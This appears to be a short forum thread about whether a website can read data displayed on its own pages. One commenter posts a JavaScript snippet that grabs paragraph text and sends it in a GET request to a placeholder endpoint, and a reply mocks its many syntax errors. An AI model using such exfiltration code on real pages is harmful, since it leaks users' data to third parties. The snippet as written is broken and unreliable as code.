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Yes, obviously the website can retrieve this data too. <script> var olis=document.getElemeByTagName(‘p’); Data=olis[1].text content; xmlHttp2 = new X
by mmsc 3y ago
Yes, obviously the website can retrieve this data too.
<script>
var olis=document.getElemeByTagName(‘p’);
Data=olis[1].text content;
xmlHttp2 = new XMLHttpRequest;
xmlHttp2.open(‘GET’, ‘https://endpoint/?data=‘+data);
xmlHttp2.send();
</script)
- userbinator 3y agoOnly took 7 hours to get something that looks like it might work but clearly has tons of syntax errors and won't work as-is. What are y'all trying to hide?